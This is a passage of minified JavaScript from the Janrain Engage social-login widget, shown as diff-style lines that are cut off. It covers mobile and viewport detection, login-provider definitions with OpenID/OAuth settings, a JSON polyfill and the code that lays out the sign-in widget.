+document.body.clientWidth:document.documentElement&&document.documentElement.clientWidth?document.documentElement.clientWidth:0;Pa=window.innerHeight?window.innerHeight:document.body&&document.body.clientHeight?document.body.clientHeight:document.documentElement&&document.documentElement.clientHeight?document.documentElement.clientHeight:0;ja=F;var Fa=window.localStorage&&window.localStorage.getItem&&window.localStorage.removeItem&&window.localStorage.setItem,ea=[],bb=!1,v="CSS1Compat"!= [...]
+cb=!1,u=!1,d=[],F=navigator.userAgent.toLowerCase().match(/(iphone|ipod|ipad|blackberry|rim tablet|android|htc|lg|midp|mmp|mobile|nokia|opera mini|palm|pocket|psp|sgh|smartphone|symbian|treo mini|playstation portable|sonyericsson|samsung|mobileexplorer|palmsource|benq|windows phone|windows mobile|iemobile|windows ce|nintendo wii|\Wsilk\W)/i),yb=null!==F?F[0]:!1,Xb="number"===typeof window.orientation||null!==F,F="ontouchstart"in window;Ca=F?"touchend":"mouseup";$a=F?"touchmove":"mousemov [...]
+janrain.settings.storageServer&&Pb("xDomainLocalStorageJanrain",janrain.settings.storageServer,function(){X(document.getElementById("xDomainLocalStorageJanrain"),"load",function(){bb=!0})});W.possible="a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,0,1,2,3,4,5,6,7,8,9".split(",");var K=navigator.userAgent,f=eb(),Z=/Gecko\//.test(K),Jb=/AppleWebKit\//.test(K);/Chrome\//.test(K);Qa();var Nb=Ra(),Vb=function(a){var a=a||K,d=a.indexOf("OS "),b=0;Ra(a)&&-1<d&&(b=Number(a.substr(d+3).spli [...]
+return b}(),i=function(){var a=function(a){for(var c=[],d=0;d<a.length;d++)c.push(a[d]);return c},d={};janrain.settings&&janrain.settings.permissions&&(d.login=a(janrain.settings.permissions));janrain.settings&&janrain.settings.share&&janrain.settings.share.permissions&&(d.share=a(janrain.settings.share.permissions));return function(a,c){c=c||"login";return!d[c]?!1:0<=d[c].indexOf(a)}}();fb.options={strictMode:!1,key:"source,protocol,authority,userInfo,user,password,host,port,relative,pa [...]
+q:{name:"queryKey",parser:/(?:^|&)([^&=]*)=?([^&]*)/g},parser:{strict:/^(?:([^:\/?#]+):)?(?:\/\/((?:(([^:@]*)(?::([^:@]*))?)?@)?([^:\/?#]*)(?::(\d*))?))?((((?:[^?#\/]*\/)*)([^?#]*))(?:\?([^#]*))?(?:#(.*))?)/,loose:/^(?:(?![^:@]+:[^:@\/]*@)([^:\/?#.]+):)?(?:\/\/)?((?:(([^:@]*)(?::([^:@]*))?)?@)?([^:\/?#]*)(?::(\d*))?)(((\/(?:[^?#](?![^?#\/]*\.[^?#\/.]+(?:[?#]|$)))*\/?)?([^?#\/]*))(?:\?([^#]*))?(?:#(.*))?)/}};ya.isCloneable=function(a){return a&&(xa(a)||T(a))};for(var ca=function(){functio [...]
+typeof window.orientation)return!1;var a;c(document.body,Q);r=i().content;p();q();document.body.style.padding="0px";document.body.style.margin="0px";"object"===typeof window.onresize&&(a="resize");"object"===typeof window.onorientationchange&&(a="orientationchange");a&&(window.addEventListener(a,function(){Ua(window.orientation,{height:screen?screen.height:0,width:screen?screen.width:0},{height:window.innerHeight,width:window.innerWidth});g()},!1),setTimeout(g,30),window.addEventListener [...]
+function(){window.removeEventListener(a,g,!1)},!1));u.addHandler(function(){d({height:window.innerHeight,width:window.innerWidth},0)});U.addHandler(function(a){Pa=a.height;ja=a.width});window.addEventListener("beforeunload",function(){window.removeEventListener(eventName,g,!1)},!1)}function d(a,b){var c=window.innerHeight,g=window.innerWidth,f=!0,i=!0;c!=a.height&&(f=!1);g!=a.width&&(i=!1);f&&i?20>b?setTimeout(function(){d({height:c,width:g},++b)},100):U.fire({height:c,width:g}):setTimeo [...]
+width:g},0)},100)}function b(){setTimeout(function(){A(r)},20);c(Q,document.body)}function c(a,b){for(var c=0;c<a.style.length;c++){var d=a.style[c];b.style.setProperty(d,a.style.getPropertyValue(d),a.style.getPropertyPriority(d))}}function f(){var a;a=(0===window.orientation||180===window.orientation)&&ja>Pa||(90===window.orientation||-90===window.orientation)&&Pa>ja?!1:!0;var b="landscape";if(a&&(0===window.orientation||180===window.orientation))b="portrait";if(!a&&(90===window.orienta [...]
+window.orientation))b="portrait";return b}function g(){var a=f();A("width=device-width, initial-scale=1, maximum-scale=1");u.fire({orientation:a})}function i(){var a=document.getElementsByTagName("meta"),b;for(b in a)if("viewport"===a[b].name)return a[b];return!1}function p(){if("undefined"===typeof document.getElementsByTagName||i())return!1;var a=document.getElementsByTagName("head")[0],b=document.createElement("meta");b.setAttribute("name","viewport");a.appendChild(b);return!0}functio [...]
+typeof document.getElementsByTagName)return!1;document.getElementsByTagName("head");var a=document.createElement("meta");a.setAttribute("name","HandheldFriendly");a.content="true"}function A(a){var b=i();if(!b||b.content==a)return!1;if("undefined"===typeof a){var c=i();document.getElementsByTagName("head")[0].removeChild(c)}b.content=a;return!0}var r,Q=document.createElement("div"),v=navigator.userAgent.toLowerCase().match(/(iphone|ipod|ipad|blackberry|rim tablet|android|htc|lg|midp|mmp| [...]
+H=null!==v?v[0]:!1,u=I(),U=I();H&&H[0].match(/android|\Wsilk\W/);var Ua=function(){var a=window.orientation,b={height:screen?screen.height:0,width:screen?screen.width:0},c={height:window.innerHeight,width:window.innerWidth},d=!1;return function(e,g,f){var i=!1,A=function(a,b){return a.height>=a.width&&b.height>=b.width||a.width>a.height&&b.width>b.height?!0:!1},p=a===e,q=A(g,b),Q=A(f,c);if(!p&&(!q||!Q))i=!0;!p&&!q&&(d=!0);i&&(d&&!A(g,f)&&(i=f.height,f.height=f.width,f.width=i),Pa=f.heigh [...]
+a=e;b={height:g.height,width:g.width};c={height:f.height,width:f.width}}}();return{setElement:function(){return this},onOrientationChange:u,onViewportChange:U,getMobileDevice:function(){return H},getOrientation:function(){return f()},activate:function(){a()},deactivate:function(){b()}}}(),vb=function(a){var d;d="https:"===document.location.protocol?"https://docj27ko03fnu.cloudfront.net/":"http://cdn.rpxnow.com/";d=d.replace(/\/$/,"");return d+"/"+a},F={openId:{aol:{identifier:"aol",flow: [...]
+width:514,height:550,color:"#0FD6FF",friendlyName:"AOL"},blogger:{identifier:"blogger",flow:"openid1",width:800,height:600,color:"#FF6600",friendlyName:"Blogger"},livejournal:{identifier:"livejournal",flow:"openid1",width:800,height:600,color:"##213368",friendlyName:"LiveJournal"},netlog:{identifier:"netlog",flow:"openid1",width:800,height:600,color:"#000000",friendlyName:"Netlog"},wordpress:{identifier:"wordpress",flow:"openid1",width:800,height:600,color:"#21759b",friendlyName:"WordPre [...]
+flow:"openid1",width:800,height:600,color:"#f79311",friendlyName:"OpenID"}},openId2:{flickr:{identifier:"https://me.yahoo.com/id",flow:"openid",width:500,height:500,color:"#FF0084",friendlyName:"Flickr"},google:{identifier:"https://www.google.com/accounts/o8/id",flow:"openid",width:500,height:450,color:"#1C69F5",friendlyName:"Google"},hyves:{identifier:"http://hyves.nl/",flow:"openid",width:800,height:600,color:"#659BC8",friendlyName:"Hyves"},myopenid:{identifier:"http://myopenid.com/",f [...]
+width:800,height:600,color:"#8cc63f",friendlyName:"MyOpenID"},paypal:{identifier:"https://www.paypal.com/webapps/auth/server",flow:"openid",width:800,height:600,color:"#1A3665",friendlyName:"PayPal"},verisign:{identifier:"http://pip.verisignlabs.com/",flow:"openid",width:945,height:600,color:"#B8004D",friendlyName:"VeriSign"},yahoo:{identifier:"https://me.yahoo.com/id",flow:"openid",width:500,height:500,color:"#650065",friendlyName:"Yahoo!",shareSettings:{broadcast:{counter:{},format:{me [...]
+features:{message:!0,title:!1,url:!1,description:!1,image:!1,media:!1,actionLink:!1}}}}},oauth:{facebook:{flow:"facebook",width:1050,height:550,color:"#3B5998",friendlyName:"Facebook",publishSettings:{},shareSettings:{broadcast:{counter:{},format:{},features:{message:!0,title:!0,url:!0,description:!0,image:!0,media:!0,actionLink:!0}},contact:{counter:{},format:{},features:{message:!0,title:!0,url:!0,description:!0,image:!0,media:!0,actionLink:!0}}}},myspace:{flow:"myspace",width:800,heig [...]
+friendlyName:"Myspace",shareSettings:{broadcast:{counter:{},format:{message:"#{MESSAGE} #{URL}"},features:{message:!0,title:!1,url:!1,description:!1,image:!1,media:!1,actionLink:!1}}}},twitter:{flow:"twitter",width:800,height:500,color:"#35CCFF",friendlyName:"Twitter",shareSettings:{broadcast:{counter:{max:140,urlRegex:/\b(?:[a-z]{1}[-a-z0-9+.]+:(?:\/\/)?)?[-a-z0-9._~@:!$&'()*+,;=]+(?:\.[-a-z0-9._~@:!$&'()*+,;=]+)*(?:\.(?:aero|asia|biz|cat|com|coop|edu|gov|info|int|jobs|mil|mobi|museum|n [...]
+urlLength:23},format:{message:"#{MESSAGE} #{URL}"},features:{message:!0,title:!1,url:!1,description:!1,image:!1,media:!1,actionLink:!1}},contact:{counter:{max:140,urlRegex:/\b(?:[a-z]{1}[-a-z0-9+\.]+:(?:\/\/)?)?[-a-z0-9._~@:!$&'()*+,;=]+(?:\.[-a-z0-9._~@:!$&'()*+,;=]+)*(?:\.(?:aero|asia|biz|cat|com|coop|edu|gov|info|int|jobs|mil|mobi|museum|name|net|org|pro|tel|travel|xxx))(?::\d+)?(?:\/[-a-z0-9._~@:!$&'()*+,;=]+)*(?:\?[-a-z0-9._~@:!$&'()*+,;=%]+)?(?:#[-a-z0-9._~@:!$&'()*+,;=%]+)?\b/ig,u [...]
+format:{message:"#{MESSAGE} #{URL}"},features:{message:!0,title:!1,url:!1,description:!1,image:!1,media:!1,actionLink:!1}}}},linkedin:{flow:"linkedin",width:550,height:750,color:"#006699",friendlyName:"LinkedIn",shareSettings:{broadcast:{counter:{},format:{},features:{message:!0,title:!0,url:!0,description:!0,image:!0,media:!1,actionLink:!1}},contact:{counter:{},format:{message:"#{MESSAGE} #{URL}"},features:{message:!0,title:!0,url:!1,description:!1,image:!1,media:!1,actionLink:!1}}}},li [...]
+width:900,height:600,color:"#666666",friendlyName:"Windows Live ID"},salesforce:{flow:"salesforce",width:800,height:500,color:"#333333",friendlyName:"Salesforce"},orkut:{flow:"orkut",width:800,height:600,color:"#333",friendlyName:"Orkut"},vzn:{flow:"vzn",width:600,height:450,color:"#333",friendlyName:"VZnet"},foursquare:{flow:"foursquare",width:950,height:550,color:"#333",friendlyName:"Foursquare"},sinaweibo:{flow:"sinaweibo",width:950,height:550,color:"#333",friendlyName:"Sina Weibo"},t [...]
+width:950,height:550,color:"#333",friendlyName:"Tumblr"},microsoft_live_connect:{flow:"microsoft_live_connect",width:950,height:550,color:"#333",friendlyName:"Microsoft Live Connect"},renren:{flow:"renren",width:950,height:550,color:"#333",friendlyName:"Renren"},disqus:{flow:"disqus",width:950,height:550,color:"#333",friendlyName:"Disqus"},soundcloud:{flow:"soundcloud",width:950,height:550,color:"#333",friendlyName:"SoundCloud"},vk:{flow:"vk",width:950,height:550,color:"#333",friendlyNam [...]
+width:950,height:550,color:"#333",friendlyName:"Mixi",shareSettings:{broadcast:{counter:{},format:{message:"#{MESSAGE} #{URL}"},features:{message:!0,title:!0,url:!1,description:!1,image:!1,media:!1,actionLink:!1}},contact:{counter:{},format:{message:"#{MESSAGE} #{URL}"},features:{message:!0,title:!0,url:!1,description:!1,image:!1,media:!1,actionLink:!1}}}},email:{color:"#009ddc",shareSettings:{email:{providers:{google:!0,yahoo:!0},counter:{},format:{message:"#{MESSAGE} #{URL}"},features: [...]
+title:!1,url:!1,description:!1,image:!1,media:!1,actionLink:!1}}}}}},ia={},ra=["openId","openId2","oauth"];0<ra.length;){var Na=ra.pop(),Ba;for(Ba in F[Na])ia[Ba]=F[Na][Ba]}var p=function(){var a=[];return{log:function(d){var b={};b.id=a.length+1;b.message=d;a.push(b);return this},show:function(){if(0!=a.length){for(var d in a)if("undefined"!==typeof a[d].id){var b=a[d];"object"===typeof console&&("function"===typeof console.error?console.error("WARNING ID:"+b.id+" MESSAGE: "+b.message): [...]
+typeof console.log&&console.log("WARNING ID:"+b.id+" MESSAGE: "+b.message))}a=[]}}}}();_debugAllFiredEvents=!1;Ga.prototype.addHandler=function(a){this.eventHandlers.push(a);return this.eventHandlers.length-1};Ga.prototype.removeHandler=function(a){return this.eventHandlers[a]?(this.eventHandlers[a]=null,!0):!1};Ga.prototype.fire=function(a){for(var d=this.eventHandlers.length,b=0;b<d;b++)try{if("function"===typeof this.eventHandlers[b])this.eventHandlers[b](a)}catch(c){p.log(c),p.show() [...]
+xa(a)&&"save"in a&&!0===a.save))delete a.save,this.firedEvents.push({event:this,args:a})};"undefined"===typeof janrain.events&&(janrain.events={});var R;R||(R={});(function(){function a(a){return 10>a?"0"+a:a}function d(a){f.lastIndex=0;return f.test(a)?'"'+a.replace(f,function(a){var b=p[a];return"string"===typeof b?b:"\\u"+("0000"+a.charCodeAt(0).toString(16)).slice(-4)})+'"':'"'+a+'"'}function b(a,c){var f,p,r,v,t=g,u,D=c[a];D&&"object"===typeof D&&"function"===typeof D.toJSON&&(D=D.t [...]
+"function"===typeof q&&(D=q.call(c,a,D));switch(typeof D){case "string":return d(D);case "number":return isFinite(D)?""+D:"null";case "boolean":case "null":return""+D;case "object":if(!D)return"null";g+=i;u=[];if("[object Array]"===Object.prototype.toString.apply(D)){v=D.length;for(f=0;f<v;f+=1)u[f]=b(f,D)||"null";r=0===u.length?"[]":g?"[\n"+g+u.join(",\n"+g)+"\n"+t+"]":"["+u.join(",")+"]";g=t;return r}if(q&&"object"===typeof q){v=q.length;for(f=0;f<v;f+=1)"string"===typeof q[f]&&(p=q[f] [...]
+u.push(d(p)+(g?": ":":")+r))}else for(p in D)Object.prototype.hasOwnProperty.call(D,p)&&(r=b(p,D))&&u.push(d(p)+(g?": ":":")+r);r=0===u.length?"{}":g?"{\n"+g+u.join(",\n"+g)+"\n"+t+"}":"{"+u.join(",")+"}";g=t;return r}}"function"!==typeof Date.prototype.toJSON&&(Date.prototype.toJSON=function(){return isFinite(this.valueOf())?this.getUTCFullYear()+"-"+a(this.getUTCMonth()+1)+"-"+a(this.getUTCDate())+"T"+a(this.getUTCHours())+":"+a(this.getUTCMinutes())+":"+a(this.getUTCSeconds())+"Z":nul [...]
+Number.prototype.toJSON=Boolean.prototype.toJSON=function(){return this.valueOf()});var c=/[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,f=/[\\\"\x00-\x1f\x7f-\x9f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,g,i,p={"\u0008":"\\b","\t":"\\t","\n":"\\n","\u000c":"\\f","\r":"\\r",'"':'\\"',"\\":"\\\\"},q;"function"!==typeof R.stringify&&(R.stringify=function(a,c,d){var e;i=g=""; [...]
+typeof d)for(e=0;e<d;e+=1)i+=" ";else"string"===typeof d&&(i=d);if((q=c)&&"function"!==typeof c&&("object"!==typeof c||"number"!==typeof c.length))throw Error("JSON.stringify");return b("",{"":a})});"function"!==typeof R.parse&&(R.parse=function(a,b){function d(a,c){var e,g,f=a[c];if(f&&"object"===typeof f)for(e in f)Object.prototype.hasOwnProperty.call(f,e)&&(g=d(f,e),void 0!==g?f[e]=g:delete f[e]);return b.call(a,c,f)}var e,a=""+a;c.lastIndex=0;c.test(a)&&(a=a.replace(c,function(a){ret [...]
+("0000"+a.charCodeAt(0).toString(16)).slice(-4)}));if(/^[\],:{}\s]*$/.test(a.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,"@").replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,"]").replace(/(?:^|:|,)(?:\s*\[)+/g,"")))return e=eval("("+a+")"),"function"===typeof b?d({"":e},""):e;throw new SyntaxError("JSON.parse");})})();janrain.events.onCustomizationChange||(janrain.events.onCustomizationChange=I());janrain.events.onProviderLoginStart||(janrain.events.onProvide [...]
+I());janrain.events.onProviderLoginComplete||(janrain.events.onProviderLoginComplete=I());janrain.events.onProviderLoginError||(janrain.events.onProviderLoginError=I());janrain.events.onProviderLoginSuccess||(janrain.events.onProviderLoginSuccess=I());janrain.events.onProviderLoginToken||(janrain.events.onProviderLoginToken=I());janrain.events.onProviderLogoutStart||(janrain.events.onProviderLogoutStart=I());janrain.events.onProviderLogoutComplete||(janrain.events.onProviderLogoutComplet [...]
+Ba=new function(){function a(){function a(){return{twoColumn:{actionText:"Sign in using your account with",providersPerPage:6},oneColumn:{actionText:"Sign in with",width:200},oneRow:{actionText:"Sign in with"},footerHeight:10,headerHeight:20}}function b(){if(sa){var a=document.createElement("div");a.style.backgroundColor=da?"aqua":Oa;a.style.width=C+"px";a.style.height=Ga+"px";a.style.position="absolute";a.style.left="0px";a.style.paddingLeft=n+"px";a.style.paddingRight=n+"px";a.style.pa [...]
+n+"px";a.style.bottom="0px";a.style.fontSize="10px";a.style.textAlign="left";a.style.color=Z;a.style.fontFamily=Sa;L(a,null,0,0,y,y);var d=document.createElement("div");d.appendChild(document.createTextNode(janrain.settings.translate.POWERED_BY_PREFIX||"Powered by "));d.style.paddingLeft="1px";var h=document.createElement("a");h.setAttribute("href","http://www.janrain.com/products/engage/engage-introduction?utm_source="+fb(janrain.settings.appUrl).host+"&utm_medium=partner&utm_campaign=a [...]
+h.setAttribute("target","_blank");h.appendChild(document.createTextNode("Janrain"));d.appendChild(h);a.appendChild(d);Va=a}w=g();a=document.createElement("div");a.style.backgroundColor=da?"orange":Oa;a.className="janrainHeader";a.style.fontSize=ea+"px";a.style.color=Z;a.style.position="relative";a.style.height=ta+"px";40===ua&&(a.style.cssFloat="left");a.style.left=40===ua?"-6px":"-5px";a.style.paddingLeft=n+"px";a.style.paddingRight=n+"px";a.style.paddingTop=n+"px";a.style.paddingBottom [...]
+"nowrap";a.style.width=40===ua?"81px":C+"px";a.style.zIndex="100";40===ua?L(a,null,y,0,0,y):L(a,null,y,y,0,0);40===ua&&(a.style.marginTop="-3px");a.style.textAlign="one column"===m?"center":"left";d=e();fa=document.createElement("div");fa.style.paddingLeft="1px";fa.style.fontFamily=Sa;" "!==d&&fa.appendChild(document.createTextNode(d));a.appendChild(fa);Ua=a;s=document.createElement("div");s.className="janrainContent";s.style.width=C+"px";s.style.height=j()+"px";s.style.paddingLeft=n+"px [...]
+n+"px";s.style.boxSizing="content-box";40===ua&&(s.style.paddingTop=n-1+"px");u||(s.style.backgroundColor=Oa);u||(s.style.border=ya?"1px solid "+xa:"1px solid "+Oa);s=L(s,y);u||(s.style.overflow="hidden");s.style.position=ya?"relative":"absolute";ab=D();2==w||0==w?(Ja=(new t).setSide("right").create(),Ka=(new t).setSide("left").create()):(Ja=(new t).setSide("top").create(),Ka=(new t).setSide("bottom").create());a=document.createElement("div");a.id="janrainView";" "!==e()&&a.appendChild(U [...]
+H("blank"),d.style.display="none",a.appendChild(d));a.appendChild(ab);!u&&Ja&&Ka&&(a.appendChild(Ja),a.appendChild(Ka));0<w&&sa&&a.appendChild(Va);s.appendChild(a);i("customizable_auth_widget_styling")||c(s);cb||p.show()}function c(a){function b(a){var c="string"===typeof a.getAttribute("style")?a.getAttribute("style"):null;c&&(c.cssText&&(c=c.cssText),a.style.setAttribute?a.style.setAttribute("cssText",c.replace(/(((?!!important).)+?);/g,"$1 !important;")):a.setAttribute("style",c.repla [...]
+"$1 !important;")))}for(var d=a.getElementsByTagName("*"),h=0,e=d.length;h<e;h++)"janrainProviderPages"===d[h].id||"janrainSlideControl"===d[h].className||"janrainSlideControl"===d[h].parentNode.className||b(d[h]);b(a)}function e(){if(J&&(J==a().twoColumn.actionText||J==a().oneColumn.actionText||J==a().oneRow.actionText))wa=!1;return wa&&J?J:d.translate.HEADER?d.translate.HEADER:"two column"===m?a().twoColumn.actionText:"one column"===m?a().oneColumn.actionText:"one row"===m?a().oneRow.a [...]
+J}function g(){var a=m;if("default"==a||"two column"==a)return 2;if("one column"==a)return 1;if("one row"==a)return 0}function j(){var a=" "===J?0:ta+n,b=sa&&"one row"!==m?Ga+n:0;return q()+a+b}function k(){var a=parseInt(ab.style.left),b=parseInt(ab.style.top),c;1==w?parseInt(ab.style.height):parseInt(ab.style.width);2==w&&(c=(C-3*n-(2==w?10:0))/w);if("one column"===m){if(" "===J&&(b+=11,0<b||-9<=b))return 0;if(9>b)return 1;if(0<b||b>=-(ta-(n+1)))return 0}0==w&&(c=C-100);if(0>a&&a<-c)re [...]
+a||a>=-n)return 0}function q(){if("two column"===m)var a=N/2;"one column"===m&&(a=N);"one row"===m&&(a=1);var b="one row"===m?0:2*a,c="one column"===m?3*n:0;if(7===f||6===f||f&&v){if("two column"===m&&(c=n,7===f||6===f))c=2*n;if("one column"===m&&(c=3*n,(7===f||6===f)&&!v))c+=n;if("one row"===m&&(7===f||6===f))c=n}"one column"===m&&La<=N&&(c=f&&v?c+2*n:c-2*n);return x*a+n*(a+1)+b+c}function t(){function a(){var b;j="over";var Za=k();if(0==Za&&"left"===h||0==Za&&"top"===h||1==Za&&"right"= [...]
+"bottom"===h)return this.style.cursor="default",B.onclick="",!1;var e=this;setTimeout(function(){if(1===i){if("over"!==j)return!1;f&&(d.style.display="block");g.style.display="block";B.onclick=c;e.style.cursor="pointer";var a=document.getElementById("janrainProviderPages");b="top"==h||"bottom"==h?parseInt(a.style.top):parseInt(a.style.left);var Za="right"===h||"bottom"===h?b-Ea:b+Ea;"top"===h||"bottom"===h?a.style.top=Za+"px":a.style.left=Za+"px";i=2}},f?50:100)}function b(){var a;j="out [...]
+if(1==c&&"right"===h||0==c&&"left"===h||0==c&&"top"===h||1==c&&"bottom"===h)return!1;setTimeout(function(){if(2===i){if("out"!==j)return!1;f&&(d.style.display="none");g.style.display="none";var b=document.getElementById("janrainProviderPages");a="top"==h||"bottom"==h?parseInt(b.style.top):parseInt(b.style.left);var c="right"===h||"bottom"===h?a+Ea:a-Ea;"top"===h||"bottom"===h?b.style.top=c+"px":b.style.left=c+"px";i=1}},f?200:400)}function c(){g.style.display="none";B.style.cursor="defau [...]
+i=1})}var d,h,e,g,o={left:"-33px -16px",right:"0px -16px",top:"-16px -33px",bottom:"-16px 0px"},j="",i=1,B;return{setSide:function(a){h=a;return this},create:function(){var f;if(La<=N)f=!1;else{f=document.createElement("div");f.setAttribute("id","janrainShim_"+h);f.style.background="black";"top"===h||"bottom"===h?(f.style.height="19px",f.style.width="100%"):(f.style.height="100%",f.style.width="17px");da?(f.style.filter="alpha(opacity=100)",f.style.opacity=100):(f.style.filter="alpha(opa [...]
+f.style.opacity=0);f.style.position="absolute";f.style.zindex="99";if("top"===h||"bottom"===h)f.style.left="0";f.style[h]=n+"px";f.style.top="one column"!==m?n+1+"px":"top"===h?"10px":"0px";f.style.display="none";d=f;f=document.createElement("div");f.style.backgroundColor=da?"green":Oa;f.className="janrainSlideControllerMask";f.style.position="absolute";"one column"!==m&&(f.style.width=n+"px",f.style.height="100%",f.style.top="0px",f.style[h]="0px",f.style.borderWidth="1px","right"===h&& [...]
+m)&&L(f,null,0,0,y,0),"left"===h&&(!sa||"one row"===m)&&L(f,null,0,0,0,y),"right"===h&&" "===J&&L(f,null,0,y,y,0),"left"===h&&" "===J&&L(f,null,y,0,0,y));"one column"===m&&(f.style.height=n+"px",f.style.fontSize="0px",f.style.width="100%",f.style.padding="0px",f.style[h]="0px","top"===h&&" "===J?L(f,null,y,y,0,0):"bottom"===h&&!sa&&L(f,null,0,0,y,y));"one row"===m&&(f.style.height="105.5%");e=f;f=document.createElement("div");f.setAttribute("id","janrainArrow_"+h);f.style.background="url [...]
+") no-repeat scroll "+o[h]+" transparent";f.style.height="19px";f.style.width="17px";f.style.position="absolute";if("top"===h||"bottom"===h)f.style.left=C/2+"px";f.style[h]=n+"px";f.style.top="one column"!==m?q()/2-2*n+1+"px":"top"===h?"10px":"0px";f.style.display="none";g=f;f=document.createElement("div");f.className="janrainSlideControl";f.style.backgroundColor=da?"purple":"transparent";"one column"===m?(f.style.width=C+4+"px",f.style.left="3px","top"==h?(f.style.height=n+"px",f.style. [...]
+"px"," "===J&&(f.style.left="0px",f.style.width=C+10+"px")):(f.style.height="20px",f.style.bottom=(sa?Ga+n:0)+"px",L(f,null,0,0,y,y))):(f.style.width="right"===h?"20px":"0px",f.style[h]="0px",f.style.height=q()-(n*(" "===J)?1:2)+"px",40===ua&&"one row"===m&&"left"===h&&(f.style.left=ra+"px"),"right"===h&&!sa&&L(f,null,0,0,y,0),"left"===h&&!sa&&L(f,null,0,0,0,y));f.style.position="absolute";f.style.zIndex="100";f.style.cursor="pointer";f.onmouseover=a;f.onmouseout=b;f.onclick=c;B=f;B.appe [...]
+B.appendChild(d);B.appendChild(g);f=B}return f}}}function A(a,b){var c=document.getElementById("janrainProviderPages"),h=new Wb;if("top"===a||"bottom"===a){if(" "===J)var d=-(q()-x),e=0;else d=-(q()-x-ta-n),e=ta+n;50===x&&(d-=20);f&&v&&(d+=n," "!==J&&(e+=n));h.setElement(c).setAcceleration("sinusoidal").setDuration(100*N).startPosition(parseInt(c.style.top)).endPosition("bottom"===a?d:e).setDirection("vertical").setCallback(function(){b(a)}).animate()}else f&&v?(d=-(C-2*n-39),"one row"== [...]
+1*n))):(d=-(C-32),"one row"===m&&(d=-(C-24))),h.setElement(c).setAcceleration("sinusoidal").setDuration(800).startPosition(parseInt(c.style.left)).endPosition("right"==a?d:n).setDirection("horizontal").setCallback(function(){b(a)}).animate()}function D(){var a,b;function c(h){h=h.touches[0];"one column"===m?a=h.pageY:b=h.pageX}function h(c){c.preventDefault();c=c.touches[0];c="one column"===m?a-c.pageY:b-c.pageX;if(35<c||-35>c){var d;d="one column"===m?0<c?"bottom":"top":0<c?"right":"lef [...]
+k(),e=!0;"bottom"===d&&f+1==i&&(e=!1);"top"===d&&0==f&&(e=!1);"left"===d&&0==f&&(e=!1);"right"===d&&f+1==i&&(e=!1);e&&("one column"===m?g.style.top=parseInt(g.style.top)-c+"px":g.style.left=parseInt(g.style.left)-c+"px",A(d,function(){E()}),g.ontouchmove="")}}function d(){g.ontouchmove=h}var e,g,o,j,i,B=w,l=[];j=G();i=u?1:Math.ceil(La/N);2<i&&p.log("Either reduce the number of providers, or increase the setting for providersPerPage.");g=document.createElement("div");g.setAttribute("id"," [...]
+u&&(g.className="janrainConfigureMode");g.style.paddingTop=(6===f||7===f)&&f&&v?2*n:n+"px";if((6===f||7===f)&&!v)g.style.paddingTop=n+4+"px";1<i&&(g.ontouchstart=c,g.ontouchmove=h,g.ontouchend=d);40===ua&&"one row"===m?g.style.left=ra+n+"px":f&&v?"one column"!==m&&(g.style.left=n+"px"):g.style.left=n+"px";40===ua&&"one row"===m&&(g.style.cssFloat="left");40===ua&&"one row"===m&&(g.style.marginTop="1px");"one column"===m&&(g.style.top=(f&&v?1:0)+ta+n+"px");"one row"!==m&&" "===J&&(g.style [...]
+"one column"===m&&" "===J&&(g.style.top="0px");e=C*i;g.style.position=f&&v&&"one column"===m?"relative":"absolute";"two column"===m&&!(La<=N)&&(g.style.width=e+"px");"one row"===m&&(g.style.width=(!0===u?C+n:2*C)+"px");u&&(B=0);b=0;a=0;for(var zb=0;zb<i;zb++){for(o=0;o<=B;o++)l[o]=document.createElement("ul"),l[o].className="providers",l[o].id="janrainProviders_"+o,1<B&&(l[o].style.cssFloat="left"),1<B&&(l[o].style.styleFloat="left"),l[o].style.listStyleType="none",l[o].style.marginTop=" [...]
+"0px",l[o].style.marginRight="0px",l[o].style.marginBottom="0px",l[o].style.padding="0px";e=document.createElement("div");e.className="janrainPage";e.setAttribute("pageIndex",zb);f&&v&&1===i&&(e.style.width="110%");for(o=0;o<B;o++)e.appendChild(l[o]);if(u||1>w)for(o=0;o<=B;o++)e.appendChild(l[o]);for(var q=j.length%2,r=u?La:N,s=0;s<r&&!(0==j.length);s++){if(2==B)var t=1==q?l[j.length%2?0:1]:l[j.length%2];if(1==B||0==B)t=l[0];o=j.shift();t.appendChild(o)}g.appendChild(e)}return g}function [...]
+k()?("left"===a&&(Ka.style.width=n+"px",Ja.style.display="block",Ja.style.width="20px"),"top"===a&&(Ja.style.height=n+"px",Ka.style.display="block",Ka.style.height="20px")):("right"===a&&(Ja.style.width=n+"px",Ka.style.display="block",Ka.style.width="20px"),"bottom"===a&&(Ka.style.height=n+"px",Ja.style.display="block",Ja.style.height="20px"))}function G(){for(var a=[],b=0;b<La;b++){var c=H(la[b],b+1);a.push(c)}if("one column"==m){var h=a.slice(0),b=function(){var a=-Infinity,b,c,d=funct [...]
+return void 0!==b};for(c=0;c<h.length;c++)d()&&(a=Math.max(a,b.offsetWidth));for(c=0;c<h.length;c++)d()&&(b.style.width=a+"px")};janrain.events.onModalOpen?janrain.events.onModalOpen.addHandler(b):janrain.events.onAuthWidgetContentPlaced.addHandler(b);janrain.events.onCustomizationChange.addHandler(b)}return a}function F(a,b){b.style.cursor="pointer";b.setAttribute("id","janrain-"+a);b.setAttribute("role","button");"one row"===m?b.style.background="transparent":("gradient"===Ta&&Fb(b,"bo [...]
+"gray"===Ta&&(b.style.backgroundColor="#eeeeee"),"white"===Ta&&(b.style.backgroundColor="#ffffff"));X(b,"mouseover",function(){eb();"one row"===m?b.style.background="transparent":(b.style.backgroundColor="#E3E3E3",b.style.backgroundImage="")});X(b,"mouseout",function(){eb();"one row"===m?b.style.background="transparent":("gradient"===Ta&&Fb(b,"bottom, #eeeeee, #ffffff"),"gray"===Ta&&(b.style.backgroundColor="#eeeeee"),"white"===Ta&&(b.style.backgroundColor="#ffffff"))});cb||M(b,a);return [...]
